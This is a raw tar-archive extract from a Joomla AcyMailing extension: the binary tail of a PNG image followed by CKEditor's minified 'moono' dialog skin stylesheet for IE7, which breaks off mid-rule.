(P�@��!�p$�IZ����`���s�����G�v���t��3f�IЮ@ ��n��_U�r1��fqcF�Ƒ�t�'%_�q+pz<P37�*j̈́�9�B���S�I���a��[�1i���W�wG���3�Q�L��NF��J���@�4)q�Ϫ�OD���#!=�|�Y
�������M���[,z��6�<6�V�A\�@���c�K�jh���,��N��ϟ�����"���148��'N���߰1�r��ps�
%�8�E��W��VC�׻�����z�TAnS��~
(P�@�7�M���s�L�*��p�B�x�>��W~���-zJ�R���\.|��g*@�+N��m6CVP�=|��'�8�h�Geݽd�
�^F�e�X��;S	�PP�?2�wϲ�=s����x�SJA)]�{��<˂H��/u��"R!8��^R�7B�O�	 �_����Ĕ��/�@Â�j4���u��-����^��h4��\a7��y<�W (� � 3=]}��QB�aٽ�����tu �`�>i�= f`Y,˂s���h��z�5ߏ���{���M�+�RY�� �|��p�ĉ��9��n˲�;��
�{x��X������o&Ѓ,��n��ȑ#_�8q�!�-$zl�hh����᯿��+))�UUU�l!�\�v�=�y�\>/#񵣔��8�l6;vl��ӧ�P�N��9�VO;��*�����_�l�ͧO��r���
����|��F�3 �|����appG�� 6����u�Z����>�M�lj�S�ZVV�YAA����4��jp��om6�ٲ%�n�9�c�@�0�9v��ϟ��ɓ'犍/�?2�k�E������=�t��ȣ��-//������z�?n\D�������q�hyy9}��G�RJ�b�XmE�D����Wo<q]g�L	)D��(y[�~�E��lP "�@�?��>�ǁw��Áˇ��9��|���3���O��Wq\E�aԨn�2��3����|��:�`���th�j����n��]���k�G���J���J*+_���}�Z

�@�RA�RA��T�4�J
�@�Vcnk�K*+_C�2,�V0����)��Qo`�X����Սuu�q�,���-��R�_x�uu�J*+W��Z���Qo�66>(U���[ssq���?��)+-�/]�A�������ݻ��Oa2��q��[�F�Z0�T*N�:�����x��K�plϞе�
x�CYI�kq���۝N'.^���y�L��O?���/��t��eY���e%%x��_�
�q�8.x���t����?���ǖ//�i����O��G�ϟ?/8�ΈzX�.X��*�s\�o���v�q��%��/�t��e�*�_T�a��˖U����_�t�s���$�I� |���^/�~睃�-�p;!�h��i/ZT��;��z���A�=� �HG�J��#�>*��W�,
��GT*Uț�["@p"r�\p:�`5������I��E��@bQUu�$�F���MQ>���庞7��FÛ���*J)J��y�GB�f��)�J���;XA���X6t6��H�D�^��w�*�+�§k�z^H��DoF�
(P�׏D����w�ټX+ќQJ��8��,��L��`�66�	��	�b�޽رq������v�8��Ί��`�jk�n�K�p8B.�˥���U�j��%���ʅ�z Z�)�ޚC	��m�t������1y24�$j�`E��Q��
�u�n�ؿ_C)e���x	��嗗����R�x��E�r����֮]�����c��Mm���t:�r�B.��	���ͦ�;6𽑽v�Zn|m���E�rD��"z�������|�ヒ4��&�{�)�Ŗ-Ш�Q��$V�̙�ݯ~E�n��t������͏R܏�3��3(���RZ�<IH�URJ��ϘAg̈؎G<���_�IB�qI��آ\��_�x��W�RD(�<^/x?Qr���0�z�A98��-1o<�/_�=�>R�:1o<g���_ Aȉ"�k!9=�-�-�����A�`!�H1"�3�;�:dA�4#H{����M�	n�� ��JCZ-\Gӎ�_0]V�x���uuMD�ƆO>Ij1	�y�l�ZW�t��ר� (@ZZ��}�Ņ��D����YAx�w>8��GB�9���HM�'�s1n�4����u���F��{@:�86����t��c
�5���;�A���$$"�4�k���f L�}�?���sӤ�QQ���!� �~�z=<WY[�luU��c�?|f�v�‘�3㾆r�iT*���>[QQ^<a_]Q�lx�v0!�%:�
P�[���\8p����~ܸg��V�,Ra<tj5�2�Ѣ��>��������Fm���f���e�O�&�y
��Z-,8��!	�|�Đ��+8}�vm�l���][�����x�J0��k\�׿�u����M@ ����++�5G^Y�WY)-�`��-�Z��q�(��/�\�<���G�p(*/�Wj
b4"�`��a��O������ *�MFƗֲ2
�DO�����j22��'�Q>K)͊�{��a�x�\��[�
�c,�Yǡ���_�ԗ��;���`x�2�2J�Ov�/�����h)��L��xr�e(P�@��c8�������P�wt�So�*��4�W��b�=رqc������p]�>~Bu5�t8�����v�n�36��q:̄�j~�%��C�|�Z�oʇ8�u IDAT��9 ;�mӈ|?s�d�ab�<��?_���2S[ZXP�]�w_�MD"|�=wߝSSU5���O}����\fhh���

1y���z��~�����j���A"|A~e��	����N	<��~�@���ƥ���y4͜������.�^|}�ĥ����d�8c���Bi����--����
���3��j^�;�R��a�t�2^]�\@��Z)�����c
p#p��a�<D�#�q�wdy��AH���$h�I�6%��	!f�l�W��X�F/N��h2������+P
B):�NgӎM�^0UV�x�������T�ӟ�5R�g��K��N��B҃М^�,��@�WtY�	I�� ռB�c ռBdDa���aw@�3'CH�M�ן�<��x����b�
+%���Dx�A��p�'�;"��R�WX�W��	z�6adx���~ܸ���
����'�|��Wx>�WX�$����Nhh�*�a�(D�VU�c���E;f�WQtax.���׎�G+Ji_Eu5-,.��N���*+����a��yee|�_`���ώ9��Ӧ
f���F��<�A�4c8�~n"VdQ�n_v���X����W(.-����=���(�SJ��@+�i��}��w��+$�W�㓮.�]��M1�0�
��@�
(H)�����kա{�i��x�`Z{;˾��M�n,_0���q:�A� p9�Nf|*���MM9��޾=��45A0� �j��۾�"�Lnnf	�������Ճ�}�Y�/���8l6��t��r��v�^"g�٘�yyA���>��VW'�TU]_Z���D�������- �WS��"��{�ߜ:u��ر�|���f:e�tJS�L�>�Nln��So0������}�
b��������'9��`�(�*���7�N)_��ښ���W��V ju����s�H�}A�7; ��1ܾ`�D���0 B��^��/�eSD�y�p�=�^Z_��h����'��Z���K��N8 /p<Lf3���
��a2����=Y-�!QMX����= B��[_�l�Z�z�6�����烏�p�f��˩ �<Y�Ƅ��P/8�� ���3g��e�7��
ę��[Xĩ�!�x�!^��� ���'�^����X�eJF�>�G0��h���h�P5#I��[
�݁/;�|�Q���b�鰄����5|{�Z��8�/z].L�e_0���[^>l`lyy8����/�Z���Jc������J{�lF���?u�Tf��۾@������b�<@iEUgdy��rl���{����~�/^q	T�

��>���}�
(P�@ABP��/P���l� ��
���)�/`)EB|�h47ľ�+	]J�pX�F�r^�R����i�F��6��n�/�?&���}A����

�>�8%�B�'�S�+˾ ��ۖ��~R�+$=i�y��-,R�+��"���ec��t�A��}�H�e{@c5.9-=�VsF���o� �[��V�X6&�^>B��MM�\P�/�	qy���}U55��j��/H5� k_p��aL�:u0�b��=���Ϗؾ VƵ/H5���}�
��U�(P�@�
��!ڞ�a�5��y��IJ�Y��ʊ���oy�a�R��b�P}/��Ũ���z�O|��+|�z�(�9�-�-/�޽�gΨ�m��h�J�2fdf��;R���իW)p��v����k�X|��I��MI��T
� �y����͇����!�G���+�����H'��T��XA��_�elggg@H�<�Á�{�i��zz�5.+!��1�ӛ��1���cY���S�B���P�DA���TM�P�>�� �5�Ɓ��e(�JC���n̙7�@�K�H��KKgsH�H;����<!$�b0��VU�R��\8?�b�=��`��l�w�xP^Y���%Y��e^ $� `Ű��=�`?!�ԍ@;���U:�X�6��{�{F�8�L�3�@�|>�X�(��7C�9F��y.��f��9ǧD��1cf����9x��.%2�&�Xc ����!�J)X����l�����;bԗ��/a:-fs0�m �m֨Q���i����� �&���3rr��71��yn�N���}�nG?�����!��r7�Z��&NDiU��0!�jM������S&MR�����x�f��gee񙙙|����]��JxFJ����^{����;k�l�����G�.0���5{6���Ɨ����.K�qPJ�E�y�L�)�R�|������3w.?�����ʺ6w�<�������?F)��R��R쁨�^J��X�0�rU&�}�ᇻ~��_N���asGoo�o�����u&!�?PN�,>E(۝Ed�o%�>
�	!p��ŋ�������yx�^�?���:��a�|�C&&��0|�j�@��3eʔ�>��H��ܹ����B �1a���:��>G��o�<iR)Dz8w�ܙ���?�Q\\�TO�;}ڃ�h�:,�����[n��y�8y��k׮�2*��wW�n.��/?�p�,`e��
���j����333�(��(��(��SJ�3�<�������8��ZmjO�PJ�{ϟ�$--�$��=�)�b��R����l���t��6�@�
(P�-�^y��B0���s嵵+��a���"|!�
��0��`��H��J��W�TT0����?��9g��~��%�s%��+��˙;.4�����c	w��+����͟O_{�W��T0���6ϛ߾@�qkE��
���뮻�b�2�����8T���
�7^T^������w�<�|���#��๢�r�s�,����ۥ���I'wv&.�1'��=o}�F�84utЦ���>��0a�?0��,]
�ۥ�v�4� d9.pF8V�/D�;4�YԨPJA�Z�5�_S�!od��>��4v�S~�N*�g��D���;q�Nmn~���"�c��h�>}��`x@��q�MHT��+����:�������t=*x�^_QAZ���dt�O�8'�E��	@)�S�ב�5��紷7���Ɛ��:�}�m�Ľ[�,�9�Bvv6:��ZUz}7$j>�$7!A[�:�y��:������Z�f!�]�"��~���N�����Ѩ1�(�<%.C,&�eem���a5�8;w�~r|���ΡÇ��eY�L&�jo��N�
�E�V�΄1�Ȉ�Z����ĵ_��<	?��"<D)���G���y6���L\��p��_m�zz~�fÆ�m.���<�Ǐ�T�[z�7���j��A���_�~	����v��*���:�����g���h4�����")������!v�kӺu��e�^�X�K�5��.�6����5���ϨT(�������թ5\���n�8�iQ!ى��h��?����r���W%�C�������{&Bߎ��E]���Y	��ߵk���(�-�20p�S�����*@6g�l��3�8u���h��^
)�1Î��nJ�6�aʓ�	�5Ѣ�'�F#K�D}�B����K:�
6ۓ�}l2�,����Q��R��\��RY,��x�DА:�X���R�
(P�@A". w�-."��s�z=\v;\�h\!:�i�8������#��2Wm6lX�.�J�~��].����ѣI	!�q`����/}�A˲�?���������	!덇���'*��˗�B��3 d��c�B�N��!�7�R�X��e*x�*+Ϝ8W��E�
��/���@��ޞ��B��OP���_&V�^��+D��A�֛o�EgϛG�99Q��#��|O'Q���,]���L�0!�B4��hz�0��	B�8l��DQ�I�^�٥�O��7�kj��U~C�ژ7$�&��@�2V���x��d��~�PUE*��ڹsg�%<!B�T1��G�����������;�

�z���N�`~~>:��0z�:!>��6%adx�l�^����֚��
��)�ݲeI ��
����٘��ެ5��!���'�*cR�(����tt4ffd��vc����jش�k͚���g�X0���Ng6�P�����1E��B�h�N�mV{{��d˲8t��?��xG��M;w�~��8��谦eemPd1�b�#�n�x4��9J�O@�� 2 a��h��KV֛z�9���p���8��_�~���	�����F���#)R�6�ԏ_��<l.��fÆ�zz~�l���A4d�e?ܴn��v��!�--����-�--��CN�����8��H�;�1l�ND2q6lݸq�5�mP��:n\] ����ʨT�f��o��J�$-�q\�N�D�	v����?4tI{�M�J������-��;�Q���|�cGKfii���ҕ+m����2������
D� �1^}�3a<����y��D�f�Dn�oO@�p7�'�*���	�i1�(P�@�
DA�v�Å�O����p�\�`b��A!P��a���{7�F�yA�@H����Q=)��(~W�:�:`�pt"�a�I�T�c�/������ \.W�6C�R�h4�b�l6[J�edd�d2A�qѽiŚ������m�R�������t~\~�`��{nw 4`J��,�㠦�X�Q�
4L�F�,��3)%�u�$��IPk�p>�M5/�P	$J�$������N,��-�o��)�	�}N@s�T>"j�Ԉ�=	���|:񸿚�n�s_�~=LJ�z0��gB��F�Ip�)����h4�+�%HU>���h������իطwo,�1n�x��o�II������������	̈́�55	�p�櫪�����_`&$j5($��xH�LhWMe���!�3!��
�z&����[�gB��|^/��O��3��@MI>-����ɡ�U�+^!��IS��a�B)���l��e��r�4�6d��[<O��Q�@�
(P�@��d`�?��_���ij1ᕴoZ�e��my�;߱�������|RY�վ=m��i�&���8�z�_���j�m�Y�23�z��|@
��xX�*����m�B��?*�'��ӠR����n-).Dz!<`�kE;��*-��?u*i�ON�����{����1�t���!ШT(,.^�p:���~'��p>���J����~Zmu581 f4-�J��Z��J�8�N8�N|{�2�?.x�?�a,A�����Ϛe���˲�����"��Y@�OD_t�JB��a�Ν��|���7!�{�Ć�ی�.pׁ�c]�����8<KZj���v�g�P���pf_(+/��=z|zz:t:��JhH<�D�D�_�J�)���J���G���?�:�3���dOOmeU����^�f�����A��z<

��������lp:�p�\���e��|�XW����!���!��
�����9��ܜa�Z,��G����<������O�s�.��#�|��vhh�H�4��j���^�F�F�R|����?Nf��G���ਫ�?J�eee�`0@%0�׋s���ȑ#r����������f|vv6c6����q��Yߡ���@<<�
�4�7������X��.??ߜ���Z
�χS��8}��R�[���_-��������u�F��F���>{���ږ
a�׽��3f́	&�---|�̙��& Z��(�k(�,����3�l+))qN�6�o,qPJ倫QJ�x������kh��++��(���.J)���dL^��-)Ċ����Rz����h<���NxCB)�>�Խfݺ��%-�X	C���yJ��<fL���|#������4~��M�~��I�C��Χ�^�bEJir��z��X
(P�@�
(P ���t�29���kE�ƈ�J�JK�w�c�����g����n�j�
�,Z�L�>}%�j���4 `}>x�^4����ŋ������yC�k���.�f���{�����m$0@�%@Vi�@)�N���@4X�e�x�s�g�D��Y�C�ڇ4Q�{aiP
�)���b�&�Z[���*���n�7o�^��3�~�p�xY��vgMe%3&'f�	f�	�a�AXE&Ek�Z��G�b����Rg�o5&Ӌ�S����q�@��^�r�7�����&x<�����,�����[o���D4�(�p���9
��c�W_���nYu�/&54�gY��P�҆�w���z144�+W�|��ӣ�$8g��y��/N��+�	�\��<�J��T�7�q\.���[aҤI[w��9���.���,���e��,<�N'G)=��������U��`�)�_|�)+++������fÙ3g�o۾}����~_5B���m���mYq�����p��ի˲�<��﹞~�Z�9�������:�.Hd��n��|~�:�j<�BB^Ci������m6\�v
{{{��.�l�����"�K�{[�n�������?��+����B�F����i�����?��6�#`E��C�R�)�Z]ͷ̜ɷ���&L�njs��C�R�kHp��0����ٯ��wQ1Vi,�WV�u

|Aa!��ҥݢ&}�ʄ%��ck֭�I)uSJ��h!}v6�3Ϟ��9 
�C$����~�SJ��RژL9�1;�r<��9*	��(�)��Q�����dҊ���On�)P�@�
(P�@���/P��/P��/��/P�(|ABP��/P�
(P�@�
(�/���H�G��#R�)��D�?"����4M�B��H�
(P�@���"<Ԯ�\!HFSl���vec}=�6���r�(���h0����A��>�`D<WZ]�����Y0>�>�`�;�́��E���ϕTV��./g�\�0и-��N�ǢQ��g��xU?o�|��o���T���y޼�甈��9kE��
���뮻�b�2�!!�7��
���3�#x���|eyI	s�%xx���58�D��7�wΚE_{��au��;;�����%0����ͣo��ֈ������!@�G0a��`�Y�f�K-�d�A�r|�P�!�����*�į�h<��F
B��.-}*�i�ا�>Z�TdY��8�}'N�ߩ��UUT�?Mӧ�P�㺒2��CT��+����:�������t��z�^_QAZ���dt�O�?�/d!b>���5��紷7���Ɛ��:�}�m�Ľ[�,�9�Bvv6:��ZUz}7��@��a��zb(י�;f���Y,8�n_ך5�����7/w��������F�Ѹ
@�)�;D�!�	�Ҳ�����p���w?`SD!��C��#˲0�L���^	�n�V���6�ג����'��:��I���,"�CT�/�(��<��zeׂ��5�����ɚ
��\��?�Rm4n�_5@��w�VW����[�~�8���햵Ɖ*��;��p:�����!�ӣ�h���R
`��Ⱥ֖�r���M�����PzCI��T�qaD(����5���ϨT(�������թ5\���n�8�iQ!ى(`�"��wtw�\���UI�$k�z�
]���=�oG��.Fq�G���5�RTT�_8s�ԩY�S�	�U�'_�����g�ԩ���&U_��0����Mi������L@�`��D��hd)����cY�F N��D�S�`cوߣ���D��F0�Ѹ�D!.�L��8�!��".��	��X��z(P�@�
d,k��IDAT����Nc{�9wߍ�.�.�4m4.��V�4�{X�s�0�tD��^�͆
��%\��������SG�&%D�ǁ�x�$v�K|�²,�?d� �<}�x�BD@����D��>�b��A>x�}��<}�XBBD��$�A�
�+�-{�
�{�=�
��3'N�"���A��+^!x��w�ҕ�==1��`G��B,_�2�z�j@\!BM��(�OPJ�o�EgϛG�99Q��#�B�r25�?��ҥ���	�+D��u�]��<A@ǁ
׶� �:M���"7�.-}
���_S1�!�!Zm��($PMi�U�oil�Se2a��J������ܹ3��!T*����1��r:]3��}���|gQA�^�/��p:�����ֶ����!�]� �1JX� [��ww���fgg��t
{�lYH<�}�mCv�ktv6洷7kM�nHN�G�	�
@��L��h�6���13#N��7o^�?$Evu�Y���v�,f����������G�O��B�W�Z��m���^i2���,>��p8ޑ�g��ݻ�8��;:�iYY�YL����xA���4��9J�O@����d���h��KV֛zís���pL���ׯ_���v�A@muu��wȑ)P�[�Ǐ��y6�KX�a��}==?�k6[r�@ih��pӺu���.�������V�����j49��{�t�k ��t�K�-mH°a�ƍ���l�j��q��	e��VF��5��sW�,P�'iA��b.p�� 
O�kGw����K��lTj5.������n���T��H~?��W;v�d��v~�t��A[o�<��DE ޺";�)���A�c��dg�x)7s��'�*���	�ܖ�$� �H�nOU��� �(<�
(P��������y��IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/dialog_ie7.css000060400000041550152455305310027062 0ustar00.cke_dialog{visibility:visible}.cke_dialog_body{z-index:1;background:#eaeaea;border:1px solid #b2b2b2;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_dialog strong{font-weight:bold}.cke_dialog_title{font-weight:bold;font-size:13px;cursor:move;position:relative;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #999;padding:6px 10px;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_dialog_contents{background-color:#fff;overflow:auto;padding:15px 10px 5px 10px;margin-top:30px;border-top:1px solid #bfbfbf;-moz-border-radius:0 0 3px 3px;-webkit-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.cke_dialog_contents_body{overflow:auto;padding:17px 10px 5px 10px;margin-top:22px}.cke_dialog_footer{text-align:right;position:relative;border:0;outline:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;-moz-border-radius:0 0 2px 2px;-webkit-border-radius:0 0 2px 2px;border-radius:0 0 2px 2px;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_rtl .cke_dialog_footer{text-align:left}.cke_hc .cke_dialog_footer{outline:0;border-top:1px solid #fff}.cke_dialog .cke_resizer{margin-top:22px}.cke_dialog .cke_resizer_rtl{margin-left:5px}.cke_dialog .cke_resizer_ltr{margin-right:5px}.cke_dialog_tabs{height:24px;display:inline-block;margin:5px 0 0;position:absolute;z-index:2;left:10px}.cke_rtl .cke_dialog_tabs{right:10px}a.cke_dialog_tab{height:16px;padding:4px 8px;margin-right:3px;display:inline-block;cursor:pointer;line-height:16px;outline:0;color:#595959;border:1px solid #bfbfbf;-moz-border-radius:3px 3px 0 0;-webkit-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;background:#d4d4d4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fafafa),to(#ededed));background-image:-moz-linear-gradient(top,#fafafa,#ededed);background-image:-webkit-linear-gradient(top,#fafafa,#ededed);background-image:-o-linear-gradient(top,#fafafa,#ededed);background-image:-ms-linear-gradient(top,#fafafa,#ededed);background-image:linear-gradient(top,#fafafa,#ededed);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#fafafa',endColorstr='#ededed')}.cke_rtl a.cke_dialog_tab{margin-right:0;margin-left:3px}a.cke_dialog_tab:hover{background:#ebebeb;background:-moz-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog 